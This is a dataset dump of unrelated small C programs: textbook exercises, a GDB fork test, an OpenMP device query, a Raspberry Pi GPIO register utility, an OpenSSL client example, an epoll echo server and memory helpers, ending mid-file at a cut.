Copyright 2018-2020 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <unistd.h>
#include <stdlib.h>
static void
breakpt ()
{
asm ("" ::: "memory");
}
static void
go_child ()
{
breakpt ();
while (1)
sleep (1);
}
static void
go_parent ()
{
breakpt ();
while (1)
sleep (1);
}
int
main ()
{
pid_t pid;
pid = fork ();
if (pid == -1)
abort ();
if (pid == 0)
go_child ();
else
go_parent ();
exit (EXIT_SUCCESS);
}
|
the_stack_data/87958.c | #include <stdio.h>
int mcdf(int, int);
int mcmf(int, int);
int main(void)
{
int x, y, z, mcd, mcm;
do
{
printf("x: ");
scanf("%d", &x);
}while(x<=0);
do
{
printf("y: ");
scanf("%d", &y);
}while(y<=0);
do
{
printf("z: ");
scanf("%d", &z);
}while(z<=0);
mcd = mcdf(mcdf(x,y),z);
mcm = mcmf(mcmf(x,y),z);
printf("MCD: %d\nmcm: %d\n", mcd, mcm);
return 0;
}
int mcdf(int ris,int div)
{
int mod;
while(div!=0)
{
mod = ris % div;
ris = div;
div = mod;
}
return ris;
}
int mcmf(int x, int y)
{
int ris;
ris = x * y / mcdf(x,y);
return ris;
}
|
the_stack_data/173578741.c | #include<stdint.h>
#include<stdlib.h>
#include<stdio.h>
#include<omp.h>
typedef struct {int64_t nteam; int64_t mthread;} tinfo;
int
main(int argc, char **argv)
{
const int h = omp_get_initial_device();
const int d = omp_get_default_device();
const size_t s = sizeof(tinfo);
tinfo *t = malloc(s);
if(!t){
perror("malloc error");
exit(1);
}
t->nteam = -1;
t->mthread = -1;
tinfo *p = omp_target_alloc(s, d);
if(!p){
perror("omp_target_alloc error");
exit(1);
}
omp_target_memcpy(p, t, s, 0, 0, d, h);
#pragma omp target teams is_device_ptr(p)
{
if(omp_get_team_num() == 0){
p->nteam = omp_get_num_teams();
p->mthread = omp_get_max_threads();
}
}
omp_target_memcpy(t, p, s, 0, 0, h, d);
printf("nteam: %ld mthread: %ld\n", t->nteam, t->mthread);
int ret = 0;
if(t->nteam <= 0 || t->mthread <= 0) ret = 1;
omp_target_free(p, d);
free(t);
return ret;
}
|
the_stack_data/25138180.c | #include <stdio.h>
#include <math.h>
int main()
{
/*
Fazer um algoritmo que leia a idade de uma pessoa expressa em anos,
meses e dias e mostre-a apenas em dias.
*/
printf("idade pra dias \n");
float idade, anos, meses,dias;
printf("Digite quantos anos: ");
scanf("%f", &anos);
printf("Digite quantos meses: ");
scanf("%f", &meses);
printf("Digite quantos dias: ");
scanf("%f", &dias);
idade = (anos * 365) + (meses * 30.4167) + dias;
printf("O resultado da idade em dias foi de: %.2f", idade);
return 0;
}
// 30,4167 |
the_stack_data/153269304.c | /*
Utility to switch Raspberry-Pi GPIO pin functions
Tim Giles 01/04/2013
Usage:
$ gpio_alt -p PIN_NUMBER -f ALT_NUMBER
Based on RPi code from Dom and Gert, 15-Feb-2013, <http://elinux.org/RPi_Low-level_peripherals#C_2>
and Gnu getopt() example <http://www.gnu.org/software/libc/manual/html_node/Example-of-Getopt.html#Example-of-Getopt>
*/
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define BCM2708_PERI_BASE 0x20000000
#define GPIO_BASE (BCM2708_PERI_BASE + 0x200000) /* GPIO controller */
#define PAGE_SIZE (4*1024)
#define BLOCK_SIZE (4*1024)
int mem_fd;
void *gpio_map;
volatile unsigned *gpio;
void setup_io();
// GPIO setup macros. Always use INP_GPIO(x) before using OUT_GPIO(x) or SET_GPIO_ALT(x,y)
#define INP_GPIO(g) *(gpio+((g)/10)) &= ~(7<<(((g)%10)*3))
#define OUT_GPIO(g) *(gpio+((g)/10)) |= (1<<(((g)%10)*3))
#define SET_GPIO_ALT(g,a) *(gpio+(((g)/10))) |= (((a)<=3?(a)+4:(a)==4?3:2)<<(((g)%10)*3))
#define GPIO_SET *(gpio+7) // sets bits which are 1 ignores bits which are 0
#define GPIO_CLR *(gpio+10) // clears bits which are 1 ignores bits which are 0
int main (int argc, char **argv) {
int opt, flag, n_pin, n_alt;
flag=0;
while ((opt = getopt (argc, argv, "hp:f:")) != -1) {
switch (opt) {
case 'h':
break;
case 'p':
n_pin = atoi(optarg); flag |= 0b0001; break;
case 'f':
n_alt = atoi(optarg); flag |= 0b0010; break;
case '?':
// getopt() prints error messages, so don't need to repeat them here
return 1;
default:
abort ();
}
}
if (flag != 0b0011) {
fprintf (stderr, "Usage:\n$ gpio_alt -p PIN_NUM -f FUNC_NUM\n");
return 1;
}
setup_io(); // Set up gpi pointer for direct register access
INP_GPIO(n_pin); // Always use INP_GPIO(x) before using SET_GPIO_ALT(x,y)
SET_GPIO_ALT(n_pin, n_alt);
printf("Set pin %i to alternative-function %i\n", n_pin, n_alt);
return 0;
}
void setup_io() {
/* open /dev/mem */
if ((mem_fd = open("/dev/mem", O_RDWR|O_SYNC) ) < 0) {
printf("can't open /dev/mem \n");
exit(-1);
}
/* mmap GPIO */
gpio_map = mmap(
NULL, //Any adddress in our space will do
BLOCK_SIZE, //Map length
PROT_READ|PROT_WRITE,// Enable reading & writting to mapped memory
MAP_SHARED, //Shared with other processes
mem_fd, //File to map
GPIO_BASE //Offset to GPIO peripheral
);
close(mem_fd); //No need to keep mem_fd open after mmap
if (gpio_map == MAP_FAILED) {
printf("mmap error %d\n", (int)gpio_map);//errno also set!
exit(-1);
}
// Always use volatile pointer!
gpio = (volatile unsigned *)gpio_map;
}
|
the_stack_data/248580673.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(){
char array[] = { 'a', 'b', 'c','d','e','f','g','h','i','j' };
int i;
time_t t;
srand((unsigned)time(&t));
for(i=0;i<30;i++){
printf("%c\n", array[rand()%10]);
}
return 0;
}
|
the_stack_data/173577757.c | #include<stdio.h>
#include<stdlib.h>
#define Max_ 10 //数组个数
#define RADIX_10 10 //整形排序
#define KEYNUM_31 10 //关键字个数，这里为整形位数
// 打印结果
void Show(int arr[], int n)
{
int i;
for (i = 0; i < n; i++)
printf("%d ", arr[i]);
printf("\n");
}
// 找到num的从低到高的第pos位的数据
int GetNumInPos(int num, int pos)
{
int temp = 1;
for (int i = 0; i < pos - 1; i++)
temp *= 10;
return (num / temp) % 10;
}
//基数排序 pDataArray 无序数组；iDataNum为无序数据个数
void RadixSort(int* pDataArray, int iDataNum)
{
int *radixArrays[RADIX_10]; //分别为0~9的序列空间
for (int i = 0; i < 10; i++)
{
radixArrays[i] = (int *)malloc(sizeof(int) * (iDataNum + 1));
radixArrays[i][0] = 0; //index为0处记录这组数据的个数
}
for (int pos = 1; pos <= KEYNUM_31; pos++) //从个位开始到31位
{
for (int i = 0; i < iDataNum; i++) //分配过程
{
int num = GetNumInPos(pDataArray[i], pos);
int index = ++radixArrays[num][0];
radixArrays[num][index] = pDataArray[i];
}
for (int i = 0, j = 0; i < RADIX_10; i++) //收集
{
for (int k = 1; k <= radixArrays[i][0]; k++)
pDataArray[j++] = radixArrays[i][k];
radixArrays[i][0] = 0; //复位
}
}
}
int main()
{ //测试数据
int arr_test[Max_] = { 8, 4, 2, 3, 5, 1, 6, 9, 0, 7 };
//排序前数组序列
Show(arr_test, Max_);
RadixSort(arr_test, Max_);
//排序后数组序列
Show(arr_test, Max_);
return 0;
}
|
the_stack_data/25137196.c | #include <stdio.h>
int main() {
// int arr1[5]; // declare array size
int arr2[] = { 10, 20, 30, 40, 50 };
// int arr3[6] = { 10, 20, 30, 40 }; // stores: 10, 20, 30, 40, 0, 0
printf("Size of this compiler is %lu\n");
for(int i = 0; i < 5; i++) {
printf("The address of arr2[%d] is %p\n", i, &arr2[i]);
}
}
|
the_stack_data/111078801.c | /*
* Copyright 1998-2017 The OpenSSL Project Authors. All Rights Reserved.
*
* Licensed under the OpenSSL license (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
/*-
* A minimal program to do SSL to a passed host and port.
* It is actually using non-blocking IO but in a very simple manner
* sconnect host:port - it does a 'GET / HTTP/1.0'
*
* cc -I../../include sconnect.c -L../.. -lssl -lcrypto
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <openssl/err.h>
#include <openssl/ssl.h>
#define HOSTPORT "localhost:4433"
#define CAFILE "root.pem"
int main(int argc, char *argv[])
{
const char *hostport = HOSTPORT;
const char *CAfile = CAFILE;
char *hostname;
char *cp;
BIO *out = NULL;
char buf[1024 * 10], *p;
SSL_CTX *ssl_ctx = NULL;
SSL *ssl;
BIO *ssl_bio;
int i, len, off, ret = EXIT_FAILURE;
if (argc > 1)
hostport = argv[1];
if (argc > 2)
CAfile = argv[2];
hostname = OPENSSL_strdup(hostport);
if ((cp = strchr(hostname, ':')) != NULL)
*cp = 0;
#ifdef WATT32
dbug_init();
sock_init();
#endif
ssl_ctx = SSL_CTX_new(TLS_client_method());
/* Enable trust chain verification */
SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL);
SSL_CTX_load_verify_locations(ssl_ctx, CAfile, NULL);
/* Lets make a SSL structure */
ssl = SSL_new(ssl_ctx);
SSL_set_connect_state(ssl);
/* Enable peername verification */
if (SSL_set1_host(ssl, hostname) <= 0)
goto err;
/* Use it inside an SSL BIO */
ssl_bio = BIO_new(BIO_f_ssl());
BIO_set_ssl(ssl_bio, ssl, BIO_CLOSE);
/* Lets use a connect BIO under the SSL BIO */
out = BIO_new(BIO_s_connect());
BIO_set_conn_hostname(out, hostport);
BIO_set_nbio(out, 1);
out = BIO_push(ssl_bio, out);
p = "GET / HTTP/1.0\r\n\r\n";
len = strlen(p);
off = 0;
for (;;) {
i = BIO_write(out, &(p[off]), len);
if (i <= 0) {
if (BIO_should_retry(out)) {
fprintf(stderr, "write DELAY\n");
sleep(1);
continue;
} else {
goto err;
}
}
off += i;
len -= i;
if (len <= 0)
break;
}
for (;;) {
i = BIO_read(out, buf, sizeof(buf));
if (i == 0)
break;
if (i < 0) {
if (BIO_should_retry(out)) {
fprintf(stderr, "read DELAY\n");
sleep(1);
continue;
}
goto err;
}
fwrite(buf, 1, i, stdout);
}
ret = EXIT_SUCCESS;
goto done;
err:
if (ERR_peek_error() == 0) { /* system call error */
fprintf(stderr, "errno=%d ", errno);
perror("error");
} else {
ERR_print_errors_fp(stderr);
}
done:
BIO_free_all(out);
SSL_CTX_free(ssl_ctx);
return ret;
}
|
the_stack_data/61075908.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strlowcase.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: gasantos <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2022/02/10 13:49:38 by gasantos #+# #+# */
/* Updated: 2022/02/15 18:14:15 by gasantos ### ########.fr */
/* */
/* ************************************************************************** */
char *ft_strlowcase(char *str)
{
int length;
length = -1;
while (str[++length])
if ((str[length] >= 'A') && (str[length] <= 'Z'))
str[length] += ' ';
return (str);
}
|
the_stack_data/914352.c | #include <stdio.h>
#include <stdbool.h>
#define v 9
#define INT_MAX 10000
int minDistance(int dist[],bool set[])
{
int min = INT_MAX ;
int index;
for(int i=0; i<v ; i++)
{
if(set[i]==false && dist[i] <= min)
{
min = dist[i];
index = i;
}
}
return index;
}
void printSolution(int dist[],int shortest[v][v],int src)
{
for (int i = 0; i < v; i++)
shortest[src][i] = dist[i];
}
void dijkstra(int graph[v][v],int src,int shortest[v][v],int path[v][v])
{
int dist[v];
bool set[v];
for(int i=0;i<v;i++)
{
dist[i] = INT_MAX;
set[i] = false;
}
dist[src]=0;
for(int count=0;count<v-1;count++)
{
//picking min distance vertex from set of vertices not yet processed
int u = minDistance(dist,set);
//in first iteration always index is 0
set[u] = true;
//updating dist value of adjacent vertices
for(int i =0; i<v; i++)
{
/* update dist[i] only if it is not in set , and there is an
edge from u to i and total weight of path from src to i through u
is smaller than current value of dist[i] */
if( !set[i] && graph[u][i] && dist[u] != INT_MAX && dist[u]+graph[u][i] < dist[i] )
{
dist[i] = dist[u] + graph[u][i];
path[src][i] = u;
}
}
}
printSolution(dist,shortest,src);
}
int main()
{
/* int graph[v][v];
printf("enter adjacency matrix \n");
for(int i=0;i<v;i++)
{
for(int j=0;j<v;j++)
{
scanf(" %d",&graph[i][j]);
}
} */
int shortest[v][v];
int path[v][v];
for(int i=0;i<v;i++)
{
for(int j=0;j<v;j++)
path[i][j]=-1;
}
int graph[v][v] = {{0, 4, 0, 0, 0, 0, 0, 8, 0},
{4, 0, 8, 0, 0, 0, 0, 11, 0},
{0, 8, 0, 7, 0, 4, 0, 0, 2},
{0, 0, 7, 0, 9, 14, 0, 0, 0},
{0, 0, 0, 9, 0, 10, 0, 0, 0},
{0, 0, 4, 14, 10, 0, 2, 0, 0},
{0, 0, 0, 0, 0, 2, 0, 1, 6},
{8, 11, 0, 0, 0, 0, 1, 0, 7},
{0, 0, 2, 0, 0, 0, 6, 7, 0}
};
//dijkstra(graph,0);
for(int i=0; i<v; i++)
{
dijkstra(graph,i,shortest,path);
}
int max = 0;
int U,V;
for(int i=0;i<v;i++)
{
for(int j=0;j<v;j++)
{
printf("%d ",shortest[i][j]);
if(shortest[i][j]>=max)
{
max = shortest[i][j];
}
}
printf("\n");
}
printf("\n");
for(int i=0;i<v;i++)
{
for(int j=0;j<v;j++)
{
if(shortest[i][j]==max)
{
U = i;
V = j;
}
}
}
// 0 4 0 0 0 0 0 8 0
// 4 0 8 0 0 0 0 11 0
// 0 8 0 7 0 4 0 0 2
// 0 0 7 0 9 14 0 0 0
// 0 0 0 9 0 10 0 0 0
// 0 0 4 14 10 0 2 0 0
// 0 0 0 0 0 2 0 1 6
// 8 11 0 0 0 0 1 0 7
// 0 0 2 0 0 0 6 7 0
}
|
the_stack_data/175143985.c | /*
** EPITECH PROJECT, 2021
** libmy
** File description:
** my_strndup.c
*/
#include <stddef.h>
#include <stdlib.h>
char *my_strndup(char *str, int len)
{
char *dup = NULL;
if (str == NULL)
return NULL;
dup = malloc(sizeof(char) * (len + 1));
if (dup == NULL)
return NULL;
for (int i = 0; i < len; i++) {
dup[i] = str[i];
if (str[i] == '\0')
return dup;
}
return dup;
}
|
the_stack_data/86074004.c | #include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <math.h>
#include <sys/time.h>
// Used by make to substitute @#@IF with. Do not write any other @#@IF in this
// code except by the ones already written
#define IF_GT_MAX if(t->arr[i] > max)
pthread_mutex_t lock; // protects max
double max = -1; // max array value
// A task, containing a pointer to an array and its size
struct task {
double *arr;
int size;
};
// Print an error message and exit with failure code
#define DIE(...) { \
fprintf(stderr, __VA_ARGS__); \
exit(EXIT_FAILURE); \
}
// A factorial function. Implemented [almost] the worst way possible.
int factorial(int n) {
int ret = 1;
for (int i = 2; i <= n; ++i)
ret *= i;
return ret;
}
// This is a complete non-sense laborious function for the threads to spend some
// time with. Have fun, threads :)
// ps: Let's even don't care about possible under or overflows nor NaNs.
double a_laborious_function(double x) {
double a = atan(x) + cos(x);
double dadx = (1./(pow(x+0.2, 2) + 1.)) - sin(x);
double k = a + (dadx * pow(x, 12)) / (double)factorial(9);
double s = 12.12 / (double)factorial(12) / factorial(11);
k += (pow(x, 5) / (double)factorial(12)) * s;
k -= sin(dadx) + 2 * M_PI * cos(dadx);
return k > 0 ? k : -k;
}
// This function receives a struct task and performs some laborious work on each
// element of the task's array. After the work, if the element has greater value
// then the global variable 'max', 'max' is updated with the element's value.
void *thread_work(void *arg) {
struct task *t = (struct task *)arg;
for (int i = 0; i < t->size; ++i) {
t->arr[i] = a_laborious_function(t->arr[i]);
t->arr[i] = a_laborious_function(t->arr[i]);
// let's protect ourselfs from a big mess we may have made
if(isnan(t->arr[i]) || isinf(t->arr[i]))
t->arr[i] = rand() / RAND_MAX;
// Don't modify the next line. It will be replaced at
// compilation according to the value passed to the makefile
// parameter 'IF':
//@#@IF
{
pthread_mutex_lock(&lock);
if (t->arr[i] > max)
max = t->arr[i];
pthread_mutex_unlock(&lock);
}
}
return NULL;
}
void fill_array(double *V, int N) {
srand(2382); // arbitrary initialization
for (int i = 0; i < N; ++i)
V[i] = (double)rand() / RAND_MAX;
}
int main(int argc, char **argv)
{
pthread_t *threads;
unsigned num_threads;
struct task *tasks;
int N;
double *V;
struct timeval start, end;
// Argument parsing
if (argc != 3 || sscanf(argv[1], "%u", &num_threads) != 1 ||
sscanf(argv[2], "%u", &N) != 1) {
printf("usage: %s <num_threads> <array_size>\n",
argv[0]);
return 1;
}
if (N < 0)
DIE("Vector size overflow\n");
// Initialize mutex with default attributes
if(pthread_mutex_init(&lock, NULL))
DIE("Failed to init mutex\n");
// Malloc arrays
if((threads = malloc(num_threads * sizeof(pthread_t))) == NULL)
DIE("Threads malloc failed\n");
if((tasks = malloc(num_threads * sizeof(struct task))) == NULL)
DIE("Tasks malloc failed\n");
if((V = malloc(N * sizeof(double))) == NULL)
DIE("V malloc failed\n");
fill_array(V, N);
gettimeofday(&start, NULL);
// Initialize threads with default attributes.
// The work is being splitted as evenly as possible between threads.
int threads_with_one_more_work = N % num_threads;
for (int i = 0; i < num_threads; ++i) {
int work_size = N / num_threads;
if (i < threads_with_one_more_work)
work_size += 1;
tasks[i].arr = V + i * work_size;
tasks[i].size = work_size;
if(pthread_create(&threads[i], NULL, thread_work, (void *)&tasks[i]))
DIE("Failed to create thread %d\n", i)
}
// Finish threads and ignore their return values
for (int i = 0; i < num_threads; ++i) {
if(pthread_join(threads[i], NULL))
DIE("failed to join thread %d\n", i);
}
gettimeofday(&end, NULL);
double elapsed_time = (end.tv_sec - start.tv_sec) +
(end.tv_usec - start.tv_usec) / 1000000.0;
printf("%.4fs\n", elapsed_time);
// You may print max if you want to take a look
// printf("max: %lf\n", max);
if(pthread_mutex_destroy(&lock)) // Destroy mutex
DIE("Failed to destroy mutex\n");
free(threads);
free(tasks);
return 0;
}
|
the_stack_data/237643982.c | /*
* \file: memory.c
* \author: max <[email protected]>
*
* Created on June 27, 2018, 4:18 PM
*/
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#if defined(__GNUC__)
#include <stdnoreturn.h>
#define TEOCCL_NORETURN noreturn
#elif defined(_MSC_VER)
// C11 _Noreturn is not supported in MSVC yet.
#define TEOCCL_NORETURN __declspec(noreturn)
#else
#define TEOCCL_NORETURN
#endif
TEOCCL_NORETURN static void exit_out_of_memory(void) {
(void)fprintf(stderr, "CCL. Out of memory\n");
abort();
}
void *ccl_malloc(size_t size) {
void *memory = malloc(size);
if (memory == NULL) {
exit_out_of_memory();
}
return memory;
}
void *ccl_calloc(size_t size) {
void *memory = ccl_malloc(size);
memset(memory, 0, size);
return memory;
}
char *ccl_strdup(const char *str) {
#if defined(_MSC_VER)
char *newstr = _strdup(str);
#else
char *newstr = strdup(str);
#endif
if (newstr == NULL) {
exit_out_of_memory();
}
return newstr;
}
char *ccl_strndup(const char *str, size_t len) {
char *newstr = ccl_malloc(len + 1);
#if defined(_MSC_VER)
(void)strncpy_s(newstr, len + 1, str, len);
#else
(void)strncpy(newstr, str, len);
#endif
newstr[len] = '\0';
return (newstr);
}
void *ccl_realloc(void *ptr, size_t size) {
void *memory = realloc(ptr, size);
if (memory == NULL) {
exit_out_of_memory();
}
return memory;
}
|
the_stack_data/184517309.c | #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#define MAX_EVENTS 64
void handle_event(struct epoll_event *event);
void handle_signal(int sig);
int sock, epoll_sock;
void setnonblocking(int fd) {
int flags = fcntl(fd, F_GETFL);
if (flags == -1) {
printf("Couldn't get socket options: %s\n", strerror(errno));
return;
}
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) == -1) {
printf("Couldn't set socket option: %s\n", strerror(errno));
return;
}
}
void handle_signal(int sig) {
close(sock);
close(epoll_sock);
exit(0);
}
int main(int arc, char **argv) {
struct sigaction sa;
sa.sa_handler = handle_signal;
sa.sa_flags = SA_RESTART;
sigfillset(&sa.sa_mask);
if (sigaction(SIGINT, &sa, NULL) == -1)
printf("%s: Failed to intercept SIGINT: %s\n", argv[0], strerror(errno));
if (sigaction(SIGHUP, &sa, NULL) == -1)
printf("%s: Failed to intercept SIGHUP: %s\n", argv[0], strerror(errno));
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
printf("%s: An error occurred while trying to open socket: %s\n", argv[0], strerror(errno));
return 1;
}
int val = 1;
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(int))) {
printf("%s: Failed to set socket option: %s\n", argv[0], strerror(errno));
return 1;
}
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(12321);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sock, (struct sockaddr *) &addr, sizeof(addr))) {
printf("%s: Failed to bind socket: %s\n", argv[0], strerror(errno));
return 1;
}
if (listen(sock, 10)) {
printf("%s: Failed to listen on socket: %s\n", argv[0], strerror(errno));
return 1;
}
struct epoll_event ev, events[MAX_EVENTS];
epoll_sock = epoll_create1(0);
if (epoll_sock == -1) {
printf("%s: Failed to create epoll instance: %s\n", argv[0], strerror(errno));
return 1;
}
ev.events = EPOLLIN;
ev.data.fd = sock;
if (epoll_ctl(epoll_sock, EPOLL_CTL_ADD, sock, &ev) == -1) {
printf("%s: An error occurred whily trying to add listening socket to epoll: %s\n", argv[0], strerror(errno));
return 1;
}
struct sockaddr_in client;
socklen_t addr_len;
int client_fd;
while (1) {
int nfds = epoll_wait(epoll_sock, events, MAX_EVENTS, -1);
if (nfds == -1) {
printf("%s: An error occurred while trying to wait for epoll events: %s\n", argv[0], strerror(errno));
return 1;
}
for (int n = 0; n < nfds; ++n) {
if (events[n].data.fd == sock) {
addr_len = sizeof(struct sockaddr_in);
client_fd = accept(sock, (struct sockaddr *) &client, &addr_len);
if (client_fd == -1) {
printf("%s: An error occurred while trying to accept connection: %s\n", argv[0], strerror(errno));
continue;
}
setnonblocking(client_fd);
ev.events = EPOLLIN;
ev.data.fd = client_fd;
if (epoll_ctl(epoll_sock, EPOLL_CTL_ADD, client_fd, &ev) == -1) {
printf("%s: An error occurred while trying to register client with epoll instance: %s\n", argv[0], strerror(errno));
close(client_fd);
continue;
}
} else {
handle_event(&events[n]);
}
}
}
}
void handle_event(struct epoll_event *e) {
if (e->events & (EPOLLRDHUP | EPOLLHUP | EPOLLERR)) {
close(e->data.fd);
return;
}
if (!(e->events & EPOLLIN))
return;
char buffer[1024];
ssize_t len;
for(;;) {
len = read(e->data.fd, buffer, sizeof(buffer));
if (len == 0) {
close(e->data.fd);
return;
}
if (len < 0) {
if (errno == EAGAIN)
break;
printf("An error occured while handling connection: %s\n", strerror(errno));
close(e->data.fd);
break;
}
write(e->data.fd, buffer, len);
}
}
|
the_stack_data/26284.c | #include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
static size_t growrate = 8192;
static int readln(FILE *stream, char delim, char **buffer, size_t *bufsize)
{
int c;
size_t pos = 0;
do {
c = getc(stream);
if (c != EOF) {
(*buffer)[pos++] = c;
}
if (pos == *bufsize) {
size_t oldsize = *bufsize;
*bufsize += growrate;
*buffer = realloc(*buffer, *bufsize);
memset(*(buffer) + oldsize, '\0', growrate);
}
}
while (c != delim && !feof(stream));
(*buffer)[pos] = '\0';
if (pos > 0) {
(*buffer)[pos-1] = '\0';
pos--;
}
return pos;
}
|
the_stack_data/109073.c | /*
EXPORT.C
Tile Source File.
Info:
Form : All tiles as one unit.
Format : Gameboy 4 color.
Compression : None.
Counter : None.
Tile size : 8 x 8
Tiles : 0 to 7
Palette colors : None.
SGB Palette : None.
CGB Palette : None.
Convert to metatiles : No.
This file was generated by GBTD v2.2
*/
/* Start of tile array. */
const unsigned char BUTTON_TILE_DATA[] = {
0x07, 0x07, 0x1F, 0x1C, 0x3F, 0x31, 0x7F, 0x63, 0x7F, 0x47, 0xFF, 0xCE,
0xFF, 0x8C, 0xFF, 0x8F, 0xFF, 0x8F, 0xFF, 0x8C, 0xFF, 0xCC, 0x7F, 0x4C,
0x7F, 0x60, 0x3F, 0x30, 0x1C, 0x1F, 0x07, 0x07, 0xE0, 0xE0, 0xF8, 0x38,
0xFC, 0x8C, 0xFE, 0xC6, 0xFE, 0xE2, 0xFF, 0x73, 0xFD, 0x33, 0xFD, 0xF3,
0xFD, 0xF3, 0xF9, 0x37, 0xFB, 0x37, 0xF2, 0x3E, 0xE6, 0x1E, 0x8C, 0x7C,
0x38, 0xF8, 0xE0, 0xE0, 0x07, 0x07, 0x1C, 0x1F, 0x31, 0x3E, 0x67, 0x79,
0x4F, 0x73, 0xDF, 0xE7, 0x9F, 0xEE, 0xBF, 0xCC, 0xBF, 0xCF, 0xBF, 0xCF,
0xFF, 0xCC, 0x7F, 0x4C, 0x7F, 0x6C, 0x3F, 0x30, 0x1F, 0x1C, 0x07, 0x07,
0xE0, 0xE0, 0x38, 0xF8, 0xFC, 0x0C, 0xFE, 0x86, 0xFE, 0xC2, 0xFF, 0xE3,
0xFF, 0x71, 0xFF, 0x31, 0xFF, 0xF1, 0xFF, 0xF1, 0xFF, 0x33, 0xFE, 0x32,
0xFE, 0x36, 0xFC, 0x0C, 0xF8, 0x38, 0xE0, 0xE0};
/* End of EXPORT.C */
|
the_stack_data/178266329.c | #include <stdio.h>
#include <stdlib.h>
#include <math.h>
void print_help(){
printf("print_root_bisection a b\n");
}
float f(float x){
return ((x*x) + x - 7);
}
int main(int argc,char ** argv){
//skip prigram name
argv++;argc--;
//no input
if (argc == 0){
print_help();
return -1;
}
//only a given
if (argc == 1){
printf("error: value of b not given\n");
print_help();
return -2;
}
float a = atof(argv[0]),b = atof(argv[1]),mid;
// interval error
if(f(a) * f(b) > 0){
printf("error: given interval is invalid\n");
print_help();
return -3;
}
do{
mid = (a+b)/2;
if(f(mid) == 0)
break;
else if (f(a) * f(mid) < 0)
b = mid;
else
a = mid;
} while(fabs(a-b) > 0.0001);
printf("root = %f\n", mid);
return 0;
} |
the_stack_data/40762088.c |
/* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- */
/* Plugin declarations */
const char * variables = "library module author description url";
const char * functions =
"boot halt grow_seq grow_rnd hit_seq hit_rnd miss_seq miss_rnd delete_seq delete_rnd replace_seq replace_rnd kbench";
/* Plugin definitions */
const char * library = "Python C/API";
const char * module = "Python C-API/dict";
const char * author = "Guido van Rossum and the Python community";
const char * description = "Dictionary object type";
const char * url = "https://docs.python.org/2/c-api/index.html";
/* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- */
|
the_stack_data/167330915.c | const char glsl_plain_rgb32_dir_fsh_src[] =
"\n"
"#pragma optimize (on)\n"
"#pragma debug (off)\n"
"\n"
"uniform sampler2D color_texture;\n"
"uniform vec4 vid_attributes; // gamma, contrast, brightness\n"
"\n"
"// #define DO_GAMMA 1 // 'pow' is very slow on old hardware, i.e. pre R600 and 'slow' in general\n"
"\n"
"void main()\n"
"{\n"
"#ifdef DO_GAMMA\n"
" vec4 gamma = vec4( 1.0 / vid_attributes.r, 1.0 / vid_attributes.r, 1.0 / vid_attributes.r, 0.0);\n"
"\n"
" // gamma, contrast, brightness equation from: rendutil.h / apply_brightness_contrast_gamma_fp\n"
" vec4 color = pow( texture2D(color_texture, gl_TexCoord[0].st) , gamma);\n"
"#else\n"
" vec4 color = texture2D(color_texture, gl_TexCoord[0].st);\n"
"#endif\n"
"\n"
" // contrast/brightness\n"
" gl_FragColor = (color * vid_attributes.g) + vid_attributes.b - 1.0;\n"
"}\n"
"\n"
;
|
the_stack_data/97802.c | int main (int argc, char * argv[]) {
int x = 0;
#pragma omp parallel
{
if (x > 10) {
}
}
}
|
the_stack_data/38040.c | /* origin: FreeBSD /usr/src/lib/msun/src/e_scalbf.c */
/*
* Conversion to float by Ian Lance Taylor, Cygnus Support, [email protected].
*/
/*
* ====================================================
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
*
* Developed at SunPro, a Sun Microsystems, Inc. business.
* Permission to use, copy, modify, and distribute this
* software is freely granted, provided that this notice
* is preserved.
* ====================================================
*/
#define _GNU_SOURCE
#include <math.h>
float scalbf(float x, float fn) {
if (isnan(x) || isnan(fn))
return x * fn;
if (!isfinite(fn)) {
if (fn > 0.0f)
return x * fn;
else
return x / (-fn);
}
if (rintf(fn) != fn)
return (fn - fn) / (fn - fn);
if (fn > 65000.0f)
return scalbnf(x, 65000);
if (-fn > 65000.0f)
return scalbnf(x, -65000);
return scalbnf(x, (int)fn);
}
|
the_stack_data/1060113.c | /* Check that gotos and assignments are generated to represent C
return statements */
int return04()
{
int i, j;
if(i) {
j = 1;
return 1;
}
else {
j = 2;
return 2;
}
j = 3;
return 3;
}
|
the_stack_data/156391980.c | #include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
typedef struct nodeTree {
int value;
bool inited;
struct nodeTree *parent;
struct nodeTree *right;
